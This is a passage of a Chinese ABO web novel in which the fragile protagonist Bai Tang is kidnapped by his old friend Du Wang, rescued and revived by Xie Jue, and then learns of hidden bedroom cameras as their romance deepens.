这副破烂身子,除了脸,就没一个好地方。 “怨我吗?”谢珏问着,指尖隔着橡胶手套,在新生的花瓣外沿轻轻按压。 花朵受到刺激,颤巍巍地缩了缩。 红棠咬着唇瓣,眉心紧蹙。 魂淡,干嘛要在这种时候,问这种问题啊!完全不想出声好吗? 可他又怕男人伤心,只能强撑着回答:“不怨。你又不是针对我。你也不知道,他会变成我。” “放松。”谢珏说。声音里隐有笑意。 红棠没转过来弯儿:“什么?” 谢珏的指尖压着他:“这里。我要检查功能是否正常。” 红棠“嘭”地,又变成了紫棠。 他努力放松。 然后就感觉到,谢珏戴着医用手套的手指,滑了进去。 肌肉本能地猛然收紧。 “别紧张,放松。” 对方清淡正经的语气,让紫棠愈发七窍生烟、无地自容。 他放松不下来。 谢珏也没强求,开始用指尖向四周轻轻按压测试。 紫棠咬得紧紧的。 像是不想放男人离开。 他感觉自己快要爆了。 所幸男人及时收手,结束了指检。 “恢复得不错。” 紫棠当自己已经爆掉,是朵死棠。 谢珏又捞起他的小腿,从他的脚心,一路向上轻轻揉捏、按压,问他有没有知觉。白棠说没有。 谢珏每问一次,白棠的情绪就消沉一分。 皮肉能再生,但神经断了,是连这个世界的医疗技术,也是没有办法的吧。 白棠又想砍号重来了。 “别灰心,等做完腺体移植,一切都不再是问题。”谢珏说。 白棠一字一句:“腺体移植?” 谢珏笑着点头:“你现在比较虚弱,不适合动大手术。再好好修养一周,最多不超过两周,应该就可以了。” 其实再养两周,也好不到哪里去。现在的治疗,治标不治本。没有腺体调节,这副躯壳的内里,在加速腐坏。 20天,不过是个权宜之日。 是□□残命赌一把,迎来新生,亦或,死在手术台上。 还是,等死。 这种沉重,谢珏不会压给白棠。他只需要白棠相信,有希望。 希望,是绝症的灵丹妙药。 - 白棠赶谢珏去上班。 身为乱世之中的一城之主,怎么可以儿女情长至此! 当然,真正的原因,是全身检查后,他实在没脸面对谢珏。 脸皮得多厚!心得多大!才能装出若无其事的模样! 他脸皮没那么厚,心也没那么大,还卧床不起没处躲,所以只能赶谢珏。 谢珏也很想知道,这个状态的白棠,精神状态如何。 躲在书房观察了一日,见白棠完全没出现发病迹象,第二天,谢珏便去了行政公署。 有些事务,确实只能在公署办。这些天来,已经积压了不少。他得尽快处理一下。 万不想,谢珏一离开城堡,白棠就出了事。 他被人,偷走了。 - 自身虚弱,加上不间断的舒缓镇痛,白棠大多时候都在昏睡。 他梦见自己上了一条大船,夜幕下的海风急浪涌,船颠簸得厉害。颠得他想吐,身体快要散架。 他努力从这噩梦中挣扎着醒来,结果入眼的,不再是童话般的星空吊顶,而是一间破烂的旧屋。身下也不是干净松软的床垫,而是坚硬湿冷的木板。 白棠呆住。 他该不会是挂了,进了新的小黑屋? 【系……】白棠正准备问2333,视野里突然闯入一张脸。 跟谢珏一样,淡金色的发,深紫色的眸——是这个世界里,顶级Alpha才有的容貌特征。 不过与谢珏一丝不苟的精英范儿不同,眼前的Alpha发丝微乱,黑色帽衫皱巴巴的,还有点脏。给人的感觉十分落魄。 原主的记忆让白棠很快认出了对方—— 苏锦程的痴心竹马,杜妄。 身体难受得要死,脑袋一阵阵地发昏。这突如其来的变故,让白棠无力招架。 他呆呆地看着杜妄,眉心微拢,眼中的神情陌生、戒备、不安。 杜妄脸上的欣喜褪去,狠狠拧眉:“你怎么这么看我?” 于是白棠不看他,偏转脑袋,去打量破屋。他的声音虚弱、沙哑:“这是哪儿?” 杜妄声音微颤,似是很受打击:“这是我们的家啊……” 相关记忆被触发,白棠隐约认出这间苏锦程与杜妄少年时委身的破屋。 几年过去,破屋已是比苏锦程记忆里的更残破了。西墙塌了一半,墙外荒草一人高。缺了一角的屋顶,似乎随时会掉下来把他们活埋。 这里远离柏城,是凉、燕、桐 三城之间,无人管辖的灰色地带。 “我怎么会在这儿?”没了止痛药,白棠疼得呼吸直颤。 “当然是我把你救回来的!”杜妄笑起来,像等着主人奖励的狗。 可他的主人却绝望地闭上了眼,一副不想看他的样子:“送我回去。” 杜妄脸上的笑容,瞬间消失。 白棠不闻回应,睁眼,对上一双写满无法理解、哀怨、又执拗的眼。 他感觉自己被一条湿冷的蛇缠上了。 “他把你伤成这样……你命都快没了!还要回去?!”杜妄语气激动、声音颤抖、双目猩红。 像个极力克制自己的精神病。 白棠瞬间生出巨大反感。 精神不稳定的人最讨厌了!讨厌!!! 杜妄不是精神病都这么讨厌,那自己发病的时候…… 白棠眉心一皱,鼻尖一酸,眼泪忽就盈满眼眶。 他咬着下唇,眼中噙泪,又凶又怂地瞪杜妄。 杜妄立马收敛起来,调整气息:“对不起!锦程,我……我是看你变成这样,我实在是……” “你快点儿把我送回去。”白棠不想跟不相干的人废话,也没力气废话。 杜妄猩红着眼盯他,眼中似有泪光。他翘起唇角笑了笑,笑得比哭还难看。他摇头说:“我不。” 白棠学苏锦程的样子颐指气使:“你不听我的了?!” 杜妄笑得苦涩:“我宁愿你恨我,也绝不会再把你送回那个冷血无情的恶魔身边。” 白棠气血翻涌,骤然拔高音调尖声叫嚷:“你这是想我死!” “我是在救你!”杜妄情绪激动地对嚷。信息素也骤然飚出。 白棠虽然感受不到信息素,但他还是被杜妄凶狠的模样吓到了。他像只受了惊的小兔子,噙着泪,红着眼,瑟瑟发抖。 杜妄猛然一怔,懊悔和挫败爬上脸庞。 他软下来,有点儿哽咽地轻声安抚:“我不会让你死的,锦程。我已经拿到了适合你的腺体,就寄存在老罗那儿!” “白天不方便移动,等天黑,天黑我们就过去!只要重新拥有腺体,你很快就能好起来的!” 白棠疑惑“老罗”是谁。 原主的记忆告诉他,老罗是这片儿有名的黑医,人送外号“毒心圣手”。 早年时,杜妄一个人养两个,还要保护模样漂亮、备受觊觎的苏锦程,身上大伤小伤不断,都是老罗给免费治的。 老罗喜欢杜妄,但不喜欢苏锦程。苏锦程也不喜欢老罗。两人互相看不顺眼。 白棠对他人的往事兴致缺缺。他按下不断浮现的相关记忆,重复:“送我回去。” 杜妄满眼受伤地看他,深紫色的眸子,红得似要泣血。 白棠与他对视,平静道:“我见不到他,会失控,发疯。你舍得吗,阿妄?” 13. 谢珏就是你的毒 杜妄抿起薄唇,执拗又阴沉地盯白棠。 直到把白棠盯得发毛,他又忽然笑起来,笑得极尽温柔。 他凝视着白棠,深情款款道:“没关系,无论你怎样,我都会陪着你、照顾你,直到你彻底好起来。” 说着,他抬手,抵近白棠面颊。 白棠身体猛然绷紧,戒备的眼中露出惊恐。 杜妄的手随之一顿。但也只是一瞬,指尖还是落在白棠脸上,替他拨开黏在颊边的发丝。 动作轻柔,像在触碰一件易碎品。 白棠斜着眼紧盯那只手,有种蛇信舔脸的毛骨悚然。 原主记忆里的杜妄,是个沉默寡言、千依百顺的大金毛,怎么到他这儿,就变成阴湿黏腻的恐怖蛇男了呢? “你这是害了斯德哥尔摩。”杜妄轻声叹息,“锦程,我知道戒毒很痛苦。但我不能因为你会痛苦,就放任你复吸。谢珏就是你的毒,我绝不会再让你碰到他。” 白棠的心情有点儿微妙。 他觉得自己对谢珏,是有点儿像……瘾。 这瘾,是他自己的,还是……也包括苏锦程的?又或者,全是苏锦程的,他只是被影响? 白棠正胡思乱想,杜妄又说:“当初我帮你接近谢珏,是我以为当上城主夫人能让你过得更好。只要你开心、快乐,我什么都愿意做。” “如果那时我知道,接近谢珏会让你变成这样,说什么我也不会……”他跪坐在白棠身边,双手抓紧膝盖,泣不成声。气质冷硬的一张脸,泪流得像断了线的珠子。 白棠突然于心不忍。 他不喜欢骗人。尤其是感情上的。他想把真相说出来,告诉杜妄,我不是你痴心的那个苏锦程。你痴心的那个苏锦程,已经死了。现在在你面前的,是白棠。 转念,白棠就放弃了这危险念头—— 如果杜妄知道苏锦程死了,大概率会先把他杀了,给苏锦程做祭,再自杀,追随苏锦程而去。 白棠不怕死,死对他而言,是种解脱。 可他怕谢珏、怕他的薄先生伤心。 苏锦程这个身份,他还得用。 “之前,我跟他之间,有一些误会。”白棠断断续续地费力道:“现在,误会已经,解开了。他在,全力医治,我。你,你肯定,也看见了,不是吗?” 杜妄摇头,目光痛苦而怜惜:“锦程,你还要执迷不悟到什么时候?他根本就没爱过你!他放任你接近他,根本就是另有目的!城堡上下所有人都看得出来,我不信你一点都感觉不到!” 白棠勾起唇角,忍着伤痛,对杜妄露出一个近乎神性的笑: “不重要。能靠近他,在近处看着他,跟他说上两句话,我就很开心。” 杜妄周身凝固。显然受到了精神重创。 “阿妄,你是我最好的朋友。我希望我们能永远是好朋友。不要让我恨你。”白棠给与致命一击。 其实他有些忐忑。他怕刺激过头,杜妄会做出什么可怕的事来。 比如,强行标记。 一件很狗血的事情,苏锦程与杜妄的信息素匹配度,高达99.9%。 就差那一点。 虽然白棠现在腺体缺失,不可能被标记,但,能不能,和做不做,是两码事。 好在杜妄并没什么过激行为。 他只是沉默地盯着白棠,从满屋余晖,到黑暗吞噬最后一丝光线。 时间也没有过去很久,光影的变幻,前后不过几十秒。 但有些时候,几十秒,足以天翻地覆。 高压的静默对峙,让白棠的精神紧绷到极致。 可他越是高度戒备,越是不堪一击。 本能轻易地夺走了控制权。 杜妄再次温柔地笑起来,伸手去抱白棠:“天黑了,锦程,咱们这就去老罗那儿。” 他感觉到白棠身体不自然的僵硬。 不待他询问,白棠突然胡乱挥舞起手臂,尖声叫嚷:“别碰我!” 杜妄下意识闪避,白棠却猛然翻身,从木板床摔倒地上。 很沉闷的一声。白棠却像感觉不到疼,缠着纱布的十指扣着地面就往外爬。 当然爬不动一点。但他的举动,大大震撼了杜妄。 杜妄跌坐在那儿,用一种不可思议的表情,看白棠爬。一边爬,一边念:“薄先生……” 杜妄愣了愣,问:“薄先生……是谁?” 白棠闻若未闻。他只是不停地念着那三个字,手指在地面上徒劳地抓挠,指尖的纱布很快磨破,渗出血来。 杜妄又呆呆看了两秒,喉头一滚,咽下口唾沫,起身,准备将白棠抱起。 白棠不配合,胡乱挥着手臂,挣扎出了一股不顾死活的劲儿。 “坏人!别碰我!” “锦程?锦程你怎么了?”杜妄感觉到不对劲,但说不清哪里不对劲。 他发誓,他只想束住Omega的手臂,将人抱回床上,可—— “咔”的一声,令人牙酸的声响,继而便是Omega撕心裂肺的惨叫。 叫到一半,惨叫戛然而止。Omega已是痛晕了过去。 脱臼的右臂,还软软搭在杜妄掌心。 “锦程?锦程!” 杜妄无措数秒,果断将人抱起,越过破屋的残垣断壁,敏捷的身影瞬间溶于夜色。 - “咚、咚咚,咚咚。” 杜妄敲响老罗的房门,以多年来的固有节奏。 老罗应门比预想的快,脸上是一贯的“谁又来烦老子”的不爽。 如果杜妄还冷静,或许能发现老罗的神色与往常并不相同。 可他现在心急得很,顾不上许多。老罗一开门,杜妄就抱着白棠闪身冲了进去。他熟门熟路地拐进手术室,将白棠放上手术台,口中喊着:“锦程的情况很不好,老罗你快点给看看!” 身后没有跟来老罗的脱鞋趿拉声。 终于意识到不对的杜妄刚一转身,□□便抵上了他的脖子。 迅速模糊的视野里,是谢珏那张寒若冰川的脸。 - “哗啦——” 一大盆冷水兜头浇下。 杜妄睁眼,本能地甩了甩头,甩掉发丝和睫毛上的水。 恢复清晰的视野里,谢珏正抱着“苏锦程”,坐在诊所的木椅上,用看死人的目光看他。 “苏锦程”脱臼的右臂显然已经得到妥善处理,此刻,他正侧坐在谢珏腿上,双臂紧紧搂着谢珏脖子,脸埋在对方颈窝,轻声抽噎。 那姿态,要多亲密,有多亲密。 杜妄瞬间面如死灰。 他诧异,苏锦程竟会有如此脆弱、黏人的一面。 他们一起在人吃人的噬魂街长大,苏锦程虽然受Omega的性别所限,身娇体弱,内心却是无比强大。无论受怎样的委屈,吃怎样的苦,他的眼睛,永远明亮,燃烧着坚强不屈,甚至可以说是野心勃勃的光。 他当然希望苏锦程全然依靠他,能在他面前展露出脆弱的一面。 可是从来没有。 他想象不到脆弱黏人的苏锦程是什么样子。 现在,他亲眼见到了。就是会让人想团在怀里,狠狠疼爱的模样。 像谢珏现在做的一样。 但杜妄不懂,谢珏怎么会突然间接受苏锦程。 他以为,就算全世界都爱上苏锦程,谢珏也会是那个例外。 “给我把他的右胳膊扭断。”谢珏面无表情地冷声下令。 杜妄没在乎自己的境地。他的第一反应是:谢珏这是在为苏锦程出气?谢珏,已经可以为苏锦程,做到这种程度? 杜妄没有开口,双手被绑在身后,堆坐在一旁的老罗却是急道:“等等!” 谢珏冷眼看去。老罗挺直脊背道:“那个Omega需要急救吧?你敢动阿妄,我就不救他!” 音落,手术室的门突然由内推开,已经换上全套行头的秦汉探出半个身子:“城主,都准备好了。” 老罗怔住。 谢珏抱着白棠起身,压根儿没看老罗,只居高临下地向着杜妄投去冷冷一瞥,未留任何言语,转身迈向手术室。 房门闭合的前一秒,外间隐约传来一声骨骼断裂的可怕声响。 以及一声隐忍的闷哼。 谢珏怕吓到白棠,双手掩住了他的耳朵。 可白棠的世界里根本容不下其他。他半躺在手术台上,尚未痊愈的手臂执着地勾着谢珏不撒手,盯着谢珏的眼中,更是盛满令人心惊的执拗。 “薄先生,想要一直抱。不要放下我,好不好?” 14.为什么要学小狗? 抢救无效。 手术台上的人,所有生命体征,都消失了。 没有半点死而复生的迹象。 秦汉等人戳在一旁,手足无措,噤若寒蝉。 不知过了多久,众人终于听到十分平静的一句:“你们都出去吧。” 众人诚惶诚恐地打量谢珏。 谢珏小幅度地挥手,重复:“出去。” 护士们又看秦汉。 秦汉面向谢珏,欲言又止。最终还是无言地带领护士们安静离开。 谢珏垂首静立片刻,上前两步,倾身。 手术台上的人很安静。 安静到连呼吸都没有。 谢珏摘了医用手套,指腹细细抚过白棠苍白的面颊、没有血色的唇瓣、纤细脆弱的脖颈…… “你威胁我,给我施压。你自己呢?有努力求生吗?”谢珏轻声,“怎么这么容易就放弃。” “你不记得我了,所以对我的执念,已经没有那么强烈了,是吗?” “小混蛋。” 音落,谢珏的掌心,突然凭空出现一颗金光闪闪的药丸。 “还是,觉得我无所不能,所以你有恃无恐?” 谢珏轻轻捏开白棠的嘴巴,将药丸放进去。 “只此一粒。” “从此再无转圜余地。” 他苦笑:“这是我再次犯错,没能看好你的代价。” “往后,我一定会牢牢看住你的。” “活过来,小白。” - 白棠再次醒来,发现自己又躺在了温暖的橘色星空之下。 身下是干净松软的大床,身边是安静看书的谢珏。 几乎是白棠看过去的同时,谢珏的视线也离开书页,迎上了白棠。 冰蓝色的眼瞳闪了闪,白棠软声叫人:“薄、薄先生……” 谢珏单手合上掌中书,将书放于柜头,勾唇应声:“嗯。” 白棠眸光闪动,咬了下唇瓣,向着谢珏抬手:“想抱。” 他的声音发紧。比起虚弱,更像是紧张、心虚。手也只抬起来了左侧的,右侧肩膀处,也就是先前脱臼过的地方,酸胀不已,并不听他使唤。 谢珏捏着他的手腕将他的手臂塞回被子,“好好躺着,别乱动。” 白棠的眸光变得执拗。他重复:“想抱。” 谢珏挽起臂膀,倾身压近。 白棠微惊,冰蓝色的眸子震颤不已。 谢珏盯了他两秒,唇角挑起逗弄的笑:“为什么要学小狗?” 白棠周身血液骤停,脸热到爆炸。 他猛地垂下睫羽,视线瞟向别处,不敢看谢珏。 “我不喜欢不诚实的人。”谢珏语气温柔,比起指责,更像是在引导、诱惑。 白棠又猛然抬起眼来,咬着嘴唇,眼眶迅速湿红。委屈、可怜,倔强、不甘。 谢珏后仰靠回椅背,神色泰然地与他对视。 白棠眼眶里的泪越聚越多,终是凝成豆大的珠子翻滚出来。他凶巴巴地瞪谢珏:“想抱!” “等你那条胳膊好起来的。”谢珏柔声,“再乱动,以后会经常脱臼。” 白棠噘着嘴巴,耷拉着眼帘,不吭声了。 谢珏突然捏了捏鼻梁,皱起眉心无奈道:“小白,你要学会控制自己。” 白棠抬眼瞪他。 谢珏却是侧身拉开床头柜的抽屉,取出三管针剂,熟稔地注射进自己腕口的静脉。 白棠目瞪口呆地看着,隐隐明白过来什么。 谢珏将空掉的针管扔进垃圾桶,深深望进白棠的眼,“你应该不希望我因为注射过量抑制剂身亡?” 白棠呆呆的。 半晌,他干涩地问:“我能释放信息素了?” 谢珏点头:“是毫无节制地乱放。” 白棠:“我……感觉不到?” 谢珏:“太虚。静养两三天,很快就能感觉到了。” 白棠瞄谢珏的手腕:“你……打几针了?” 谢珏:“三针。” 白棠刚准备松口气,便听谢珏又说:“但是你不控制,这一柜都不够。” 白棠翻了翻原主记忆,发现Omega无法自主控制信息素的释放,只能通过打抑制剂来控制。他让谢珏给他打抑制剂。 谢珏说:“你现在太虚,不能打抑制剂。” 白棠奇怪:“为什么我会释放信息素?发情期?” 他不觉得以他目前的身体状况能发情。 谢珏说:“因为你嘴上不说了,心里还想要。” 白棠愣了愣,刚想问谢珏指的什么,转瞬便明白过来—— 他渴求与谢珏的亲密接触,像在那间破旧的小诊所时一样。 嘭地,白棠又变成了红棠。 他凶谢珏:“你出去!” 谢珏不见任何情绪波动:“确定?” 白棠:“对!” 谢珏慢条斯理地起身、转身、迈步、拉开房门、走出去…… 就在他即将带上房门的瞬间,白棠又急吼吼地喊:“你……你别走!” 谢珏握着门把手,慢条斯理地转身,站在原地,静静看白棠。 白棠咬着下唇,红着眼圈瞪男人。 这家伙怎么这么恶劣!干嘛要戳破他在摹仿小狗!有些话,不是谁都能毫无心理负担地说出口的好吗! “你……你走吧!”白棠把头转向落地窗。 窗外春色正好。阳光明媚,鸟语花香。修剪整齐的绿植上点缀着漂亮的花。 可是白棠无心欣赏,只觉满心烦躁。 “砰。”房门被轻声带上了。 白棠身体随之一震,强忍的泪,蓦地滚落出来。 明明都不记得,为什么还会喜欢得这么辛苦。 可恶!可恶!可恶! “我刚说过,”谢珏的声音蓦然响起,“我不喜欢不诚实的人。” 白棠猛然转头。原来谢珏并未离去。他只是关上了门,人还站在门里。 白棠一时说不清自己是什么心情。 他噙着泪,凶巴巴地瞪谢珏。 他想让谢珏滚蛋,谢珏却突然向着床边大步奔来。 白棠正心如擂鼓、屏息凝神,却见赶至床边的谢珏猛然弯下身去—— 取抑制剂。 白棠咬着唇,眼睁睁看谢珏又给自己打了三针。 100%匹配的吸引力,是致命的。谢珏不想被苏锦程诱惑,所以不顾城堡众人的劝阻,以堪称残忍的方式,毁掉了苏锦程的腺体。 如今谢珏找到可替代的,重新移植回他的身体。可他的身体孱弱,承受不了标记,打不了抑制剂,还一直胡乱释放信息素。就算谢珏不想伤害他,也可以选择离开房间。 可谢珏选择照顾他的心情,留下来,伤害自己。 白棠,你还想要他怎样呢? 男人抖着手打完抑制剂,坐回椅子上的时候,是手撑着柜面,慢慢坐下去的。 白棠盯着他泛青的面颊,额头的细汗,额角的青筋,问:“你还好吗?” 谢珏喉头翻滚,额角青筋涌动。他沉默两秒,说:“抱歉,我去下洗手间。” 话音未落,人已弹起,大步离开。 白棠听见门外响起钟叔紧张的呼喊:“城主!您……” 后边的话都没了声响。想来是被谢珏压下去了。 白棠仰躺在床上发呆。眼泪不受控地往外涌。 一秒、两秒…… 时间并未过去很久,体内的躁动却全然无法遏制。 白棠不顾右肩的酸胀,强撑着起身。感觉到右手输液管的牵制,他抬起手来,低头盯了两秒,撕开胶布,拔针。 < p>他忘了按压,针眼处飙出一缕血花。 白棠用左手抹了抹,针眼处血流不止。 血污弄脏了洁白的被面,白棠愈发焦躁。 他没再管手上的伤,掀开被子,准备下床。可双腿是两坨不听他使唤的死肉。 白棠用手去抱腿,稍一吃力,右肩便酸胀到让他瞬间石化,额头沁出密密麻麻的冷汗。 白棠瞪着自己的双腿僵坐两秒,突然不管不顾地猛然翻身—— 借助势能,让自己栽下床去。 床下是松软的米色地毯,他没摔出多大声响,也没摔多疼。而且,地毯的长毛很好抓。 可他使出吃奶的劲儿,还是没能前进半寸。 白棠愤恨地锤了两下地面,趴在臂弯,埋头呜呜地哭。 他不想哭出声,便张嘴咬住地毯的长毛,把脸完全埋进去。 谢珏一推门,撞进眼帘的,便是这幅景象——白棠的身体以一种奇怪的角度扭曲着,瘫痪的双腿拧在一起,紧贴床身,上半身却向着门的方向,整个身体几乎拧成L型。 紧紧抓着地毯的双手,筋骨暴起,右手手背血流如注,已将米色的地毯晕染开一片深红的水洼。 谢珏双瞳骤缩。他愣了一秒,赶忙大步入内,将埋头哭泣的白棠从地上挖起来,小心放回床上。 他想放开白棠,给白棠检查身体,却被白棠死死搂着脖子不肯放手。 他刚想开口说些什么,颈侧一痛。 是白棠咬了上来。 压抑又崩溃的哭声,瞬间在耳畔蔓延开来。 谢珏还没想出对策,白棠又主动放开了他。 还用手轻轻推了一把。 谢珏打量他,他垂着哭湿的眼,向窗子那边偏头,不肯与谢珏对视。 白棠虚弱到完全坐不住,没过两秒,身子便不受控地栽倒。谢珏赶忙把人搂住,将枕头竖起,又垫上靠枕,将白棠往床头方向抱了抱,让人靠上去。 临放手前,白棠虚扣在他脊背的手背,猛然收紧。 数秒后,又主动放开。 手收回白棠身前时,五指不正常地蜷缩着,僵硬又微颤。 似想紧紧抓住什么,又强迫自己放开。 谢珏动了动唇,终是无言。 他拿过常备在床边的医药箱,拉过白棠满是血的右手,给他擦拭血迹、按压止血。 他教白棠:“这是留置针。以后要是想拔,把后边这段拔掉就行。不要动留置针。” 白棠垂着眼,不吭声。 他知道。24小时不间断的输液,看着秦汉、小宋他们的操作,白棠早就明白该怎么弄。 可刚才那会儿,他就是……想作。 他抬起哭红的眼,又凶又委屈地盯谢珏:“你有没有觉得我很讨厌!” 谢珏说:“没有。” 白棠猛地抽出手来,大力拍打被面,尖声叫嚷:“你骗人!你怎么会不觉得我讨厌!杜妄只对我发了一次神经我就要烦死他了,我天天发神经,自己什么都干不了,只能给你制造一堆麻烦,你怎么会不讨厌!怎么会不讨厌!!” 与白棠的歇斯底里形成鲜明对比,谢珏平静得如同没有风的湖面。 白棠原还红着眼,喘着粗气瞪谢珏,可在谢珏那平静的注视下,周身混乱的戾气很快化去。 甚至还有些心虚似的,往身后的靠枕里缩了缩。 谢珏轻叹一声,又俯身拉开抽屉。 他没按支取抑制剂,而是直接拿出一盒。整整十支。 白棠呆住。他石化着,看谢珏抽取药剂,再次将尖细的针头刺入腕口。 他听见谢珏叹息着说:“其实你现在身体极虚,释放出的信息素不多。理论上,打一支就足够。” 他扔掉打空的药剂换另一支,挑起眼帘看白棠,唇角噙笑:“你觉得我为什么要打这么多?” 15.是暗恋 因为我被你吸引。 因为我对你的渴望,远超信息素匹配引发的欲望。 如果你健康,我会立刻扑倒你,把你从里到外打满只属于我的印记。 可你病着,连临时标记都无法承受。 所以,我只能靠抑制剂来压制自己。 你问这样的我,是不是讨厌你? 白棠呆愣愣地看着谢珏,从那双温柔含笑的眼中,轻易读到了这样的答案。 他忽地垂下眼去,不敢再与谢珏对视。 甚至不敢呼吸。 心跳就在耳边,震耳欲聋。浑身酥酥麻麻,热流涌动。 这些日子来,白棠一直是畏寒的。可现在,他竟然有些微汗。 不经意地一瞥,盒子里整整齐齐的十管药剂,竟然只剩了四管!谢珏扔了空瓶,竟然又去拿! 白棠手忙脚乱地按住,惶然地看向谢珏,小声说:“别打了!” 谢珏垂眼看他,眸色幽深,喉头翻滚:“可你还在释放信息素。比之前更多。” 白棠胡乱推他:“那你出去!快出去!” 谢珏问:“不会又摔下床?” 白棠看着一边,别别扭扭地说:“不会了……” 谢珏突然笑起来,柔声道:“我给你打电话。” 白棠红着脸急道:“别打!我、我才不要接……”他又气急败坏地推谢珏,“你快出去!” 谢珏问:“我扶你躺下?” 白棠恨不能找个地缝藏起来:“不用!你快出去!” 谢天谢地,谢珏终于出去了。 白棠如释重负地松口气,把脸埋进掌心。 结果一口气还没呼到底,房内突然响起谢珏的声音:“不要对自己太严苛。有时候,轻松一些,随意一些,说不定,会有意想不到的效果。” 白棠惊得差点原地起飞。他胡乱转着脑袋,四处寻找谢珏身影。 谢珏笑道:“别找了,我在我自己的房间。我是在通过……监控摄像头,跟你说话。” 白棠胡乱转动的身体猛然滞住。但一双冰蓝色的大眼睛还在骨碌碌地转个不停,明显是在搜寻监控摄像头的位置。 “会感觉……被冒犯吗?”谢珏问。 白棠愣了一下,慌乱垂下眼,头也压低,而后轻轻摇了摇。 谢珏的声音有了明显的笑意:“我们可以这样对话的。” 白棠咬着唇瓣,不想说话。 只想找个地缝钻进去。 那种心脏被牵扯着,浑身泛起酥麻的感觉,又来了。 “想不想知道摄像头,都在什么位置?”谢珏问。 白棠愣了愣,都?那就是说—— “不止……一个?” 谢珏笑道:“八个。” 白棠倒吸一口凉气。 谢珏却已经报起位置:“你右手边床头柜上的水晶摆件是一个,窗帘罗马杆的杆头上有一个,头顶灯芯里有一个……” 谢珏说一处,白棠便下意识地去寻。看到了,便慌乱错开视线。 与先前不敢与谢珏对视的模样如出一辙。 好像他才是偷偷做坏事的那个。 谢珏报完了,白棠红成了虾米。 他突然发现自己好变态——一般人遇到这种情况,肯定会非常气愤的吧? 可他竟然好开心,甚至……有点兴奋。 一想到谢珏会随时随地,透过这些无死角的摄像头,查看他的一举一动,就……更兴奋。 怎么会这样呢? 自己……怎么会这么……变态? 啊……白棠弯下腰身,再次把脸埋进掌心。 想砍号重来。 “怎么了?”谢珏的声音是笑着的。所以听起来就有那么点明知故问。 白棠闷着不吭声。 谢珏也没再说话。 不知过了多久,白棠终于慢慢抬起脸来,像自冬眠苏醒的小动物,第一次探出洞口,确认春天的到来。 他动了动嘴唇,很小心地小声问:“你、你还在吗?” “在。” 白棠呆住。半晌,红着脸问:“你……你就……一直,盯着我啊?” “嗯。” 白棠感觉自己要被撩炸了。 “我还不知道你的名字……”白棠埋着头小声哼唧。 谢珏:“不知道?” “‘谢珏’,只是你的角色名,对吧?”白棠问完,不禁有些诧异——这竟然不属于禁制范畴。 可是谢珏没有告诉他。 “我等你自己想起来。” 白棠瞬间压力山大。 “我……要是……一直想不起来呢?”他问。 没有回应。 海啸般袭来的罪恶感瞬间将白棠淹没,他急忙说:“我会努力……不,我会尽快想起来的!” 谢珏笑了笑,说:“不要给自己太大压力。其实名字没那么重要。你记住的,是远比名字更本质的东西。我很……” 他停下来,似在斟酌措辞。 最终,他用了这个—— “荣幸。” 白棠周身猛然一震。一些模糊的音像残片流星般划过他的脑海: [“能够……真的非常非常、非常非常荣幸!我会努力……请、请您多多关照!”] [“能够……真的是我此生,最大的荣幸!我真的非常非常、非常非常……”] 残片里的自己,声音听起来快要哭了。 白棠以为那个自己想说的是,“喜欢你”,可他听到的是: [“感谢您。”] 是初识,与告别。 是憧憬,与不舍。 是暗恋,与未能说出口的告白。 凉意划过脸颊。白棠猛然回神,方才发现自己竟已泪流满面。 他再次把脸埋进掌心。 自己,到底都忘记了什么……只是忆起一点零星 的碎片便已心如刀绞,那样的刻骨铭心,为什么会忘记? “小白?”谢珏轻声唤他。 白棠不应。 “要我过去陪你吗?”谢珏问。 湿漉漉的哽咽声从白棠的指缝漏出来,闷闷的:“不要。” 谢珏沉默几秒,问:“为什么哭?” 白棠:“你会把我忘记的事告诉我吗?” 回答他的,是意料之中的沉默。 白棠:“那就别问。” 安静。 先前的安静,是暧昧粘稠的蜜。此时的安静,却是压抑窒息的海。 白棠尝试寻找别的话题,让自己从那种寻不到源头、却异常痛苦的情绪中抽离出来。 很快,他就想到了—— “杜妄……怎么样了?” 谢珏问:“你希望他怎么样?” 白棠撩起眼帘,盯对面墙搁板上的“贴贴猫”摆件——按照谢珏的“供词”,那只深色的、体型大一点的猫咪眼睛,也是一只摄像头。 他撇撇嘴:“我没希望什么……苏锦程对他的感情,不会影响到我。” 话说完,白棠猛然愣住。 苏锦程的感情,不会影响到他? 那……他对谢珏的迷恋,全然来自他自己? 那他的病呢?他的精神状况,也不是受到苏锦程的影响,而是……全部源自自身?! “小白?”谢珏的语气很担心,“又怎么了?” 白棠不应声,他在叫2333:【二哥!我的精神问题,到底是受苏锦程影响,还是我自己的问题?!】 2333:【二哥?】 白棠:【你别转移话题!】 2333老气横秋地叹气:【既然你已经有了答案,又何必多此一问。】 白棠感觉浑身血液骤冷。他染着哭腔问:【我、我怎么会有精神病呢?】 [系统忙,有事请留言。] 【2333!!!】白棠气得用力拍打被子。 他不是不想尖声叫嚷,只是禁制屏蔽了。 白棠还在无声地歇斯底里,眼前一花,胡乱挥舞的双臂被温柔束住,整个人突然坠入温暖坚实的怀抱。 鼻端满是令人心安的味道。 他先前假扮小狗、羞于启齿的愿望,在这一刻,毫无预兆地,被满足了。 可是白棠不开心。开心不起来一点儿。 他仰头,露出哭湿的脸,闪动的眸子里盛满不安、无助: “薄先生……” “没有‘小狗’……一直都是我。是我不愿意承认、不愿意面对。” “我把清醒的自己摘出来,放到一边,骗自己说,发疯的那个,不是真正的我。” “可是从来都是我……” 他紧紧抓着谢珏的衬衣,拧出深深的褶皱。 “薄先生,我是个精神病……”他无助地哭泣,又陡然凄厉尖叫:“我是个精神病!!”